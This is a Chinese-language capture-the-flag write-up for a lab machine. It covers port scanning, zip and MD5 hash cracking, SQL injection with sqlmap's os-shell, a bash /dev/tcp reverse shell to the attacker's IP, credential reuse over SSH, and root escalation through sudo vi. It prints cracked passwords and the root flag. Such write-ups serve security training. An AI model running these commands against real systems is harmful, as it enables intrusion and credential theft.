填空
第一题
第二题
第三题
第四题
第五题
第六题
第七题
第八题
第九题
开始操作
直接nmap先跑起来
nmap -v -sS -sV -sC 10.129.4.78
根据返回结果,发现ftp为230
魔鬼小细节 FTP =230代表可以匿名访问
So
直接把backup.zip拖到桌面
解压文件,发现文件加密了
接下来对文件进行爆破
zip2john backup.zip > hash
用zip2john将backup.zip生成hash值并存为文件hash.txt
然后对生成的hash文件进行破解
john hash
得到解压密码hash为 741852963
unzip backup.zip
unzip解压backup文件,得到 index.php和style.css
catindex.php得到
cat index.php
发现查看 index.php 发现存在 admin账户以及其密码的MD5值
2cb42f8734ea607eefed3b70af13bbd3
接下来使用hashcat来碰撞MD5
echo'2cb42f8734ea607eefed3b70af13bbd3' > hash2
将MD5存入hash2
然后进入/usr/share/wordlists下将rockyou.txt.gz文件解压
接着调用hashcat命令
hashcat -a 0 -m 0 hash2 /usr/share/wordlists/rockyou.txt
┌──(root💀kali)-[~/桌面]
└─# hashcat -a 0 -m 0 hash2 /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...
OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-AMD Ryzen 7 4800H with Radeon Graphics, 5814/5878 MB (2048 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 65 MB
Dictionary cache building /usr/share/wordlists/rockyou.txt: 33553434 bytes (23.Dictionary cache building /usr/share/wordlists/rockyou.txt: 100660302 bytes (71Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs
**2cb42f8734ea607eefed3b70af13bbd3:qwerty789**
Session..........: hashcat
Status...........: Cracked
Hash.Name........: MD5
Hash.Target......: 2cb42f8734ea607eefed3b70af13bbd3
Time.Started.....: Thu May 5 16:40:18 2022 (0 secs)
Time.Estimated...: Thu May 5 16:40:18 2022 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1216.3 kH/s (0.88ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 102400/14344385 (0.71%)
Rejected.........: 0/102400 (0.00%)
Restore.Point....: 98304/14344385 (0.69%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: Dominic1 -> birth
Started: Thu May 5 16:40:14 2022
Stopped: Thu May 5 16:40:19 2022
最后撞出MD5 2cb42f8734ea607eefed3b70af13bbd3:qwerty789
使用admin / qwerty789登录账号
简单浏览一下,发现有一个搜索框,随便输入1
感觉有搞头
在搜索框随便写内容,然后点击搜索时候使用burp抓包,右键保存文件为sql.txt
注意 这里一定要点击搜索时候使用burp抓包,截取的信息存为SQL文件(不然抓取的sqlmap跑不出结果来)
运行sqlmap -l sql.txt
结果
发现确实存在SQL注入漏洞,且数据库为postgresql数据库,我们继续使用**–os-shell**获取到shell
sqlmap -l sql.txt --os-shell
当出现os-shell就代表成功了
我们将打开 443 端口上的 netcat 侦听器
虽然我们得到了shell,但是,它不是很稳定和交互。 为了使其更加稳定,我们将使用
以下有效载荷:
执行payload 远端在os-shell中执行
bash -c "bash -i >& /dev/tcp/{your_IP}/443 0>&1"
cd ~
ls
cat user.txt
成功获得用户flag
接着来到网站目录/var/www/html查看一下有什么文件
查看一下dashboard.php,
我们在这个文件里面发现了连接数据库的账号postgres和密码P@5w0rd!,经过测试这个正是当前该系统的用户名和密码。
提权
请注意,shell 可能会突然死掉,而不是重新进行漏洞利用,我们将使用 SSH 登录
ssh postgres@10.129.74.24
P@s5w0rd!
我们将输入 sudo -l 来查看我们有什么权限
所以我们有 sudo 权限通过运行 sudo /bin/vi 使用 vi 编辑 pg_hba.conf 文件
/etc/postgresql/11/main/pg_hba.conf 。 我们将去 GTFOBins 看看我们是否可以滥用这个特权:
我们无法执行以下命令,因为 sudo 仅限于 /bin/vi
/etc/postgresql/11/main/pg_hba.conf 。
根据 GTFOBins,还有另一种方法:
vi
:set shell=/bin/sh
:shell
再然后`
:shell
回车键后回成功发现提取成功
whoami //查看权限
提权成功
进入/root目录下,查看root.txt可以获得root的flag:
dd6e058e814260bc70e9bbdef2715849